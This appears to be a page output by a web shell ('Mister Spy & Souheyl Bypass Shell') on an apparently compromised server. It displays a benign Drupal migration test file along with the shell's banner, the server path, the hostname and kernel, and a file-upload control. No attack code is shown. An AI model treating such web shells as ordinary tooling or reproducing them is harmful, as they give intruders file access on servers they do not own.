Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/strat/web/core/modules/node/tests/src/Kernel/Migrate/d7/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/strat/web/core/modules/node/tests/src/Kernel/Migrate/d7/MigrateNodeTitleLabelTest.php

<?php

declare(strict_types=1);

namespace Drupal\Tests\node\Kernel\Migrate\d7;

use Drupal\Core\Field\Entity\BaseFieldOverride;
use Drupal\Tests\migrate_drupal\Kernel\d7\MigrateDrupal7TestBase;

/**
 * Tests migration of the title field label for node types.
 *
 * @group node
 */
class MigrateNodeTitleLabelTest extends MigrateDrupal7TestBase {

  /**
   * {@inheritdoc}
   */
  protected static $modules = ['node', 'text', 'menu_ui'];

  /**
   * {@inheritdoc}
   */
  protected function setUp(): void {
    parent::setUp();
    $this->migrateContentTypes();
    $this->executeMigration('d7_node_title_label');
  }

  /**
   * Asserts various aspects of a base_field_override entity.
   *
   * @param string $id
   *   The override ID.
   * @param string $label
   *   The label's expected (overridden) value.
   *
   * @internal
   */
  protected function assertEntity(string $id, string $label): void {
    $override = BaseFieldOverride::load($id);
    $this->assertInstanceOf(BaseFieldOverride::class, $override);
    /** @var \Drupal\Core\Field\Entity\BaseFieldOverride $override */
    $this->assertSame($label, $override->getLabel());
  }

  /**
   * Tests migration of node title field overrides.
   */
  public function testMigration(): void {
    // Forum title labels are overridden to 'Subject'.
    $this->assertEntity('node.forum.title', 'Subject');
    // Other content types use the default of 'Title' and are not overridden.
    $no_override_node_type = [
      'article',
      'blog',
      'book',
      'page',
      'test_content_type',
    ];
    foreach ($no_override_node_type as $type) {
      $override = BaseFieldOverride::load("node.$type.title");
      $this->assertNotInstanceOf(BaseFieldOverride::class, $override);
    }
  }

}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net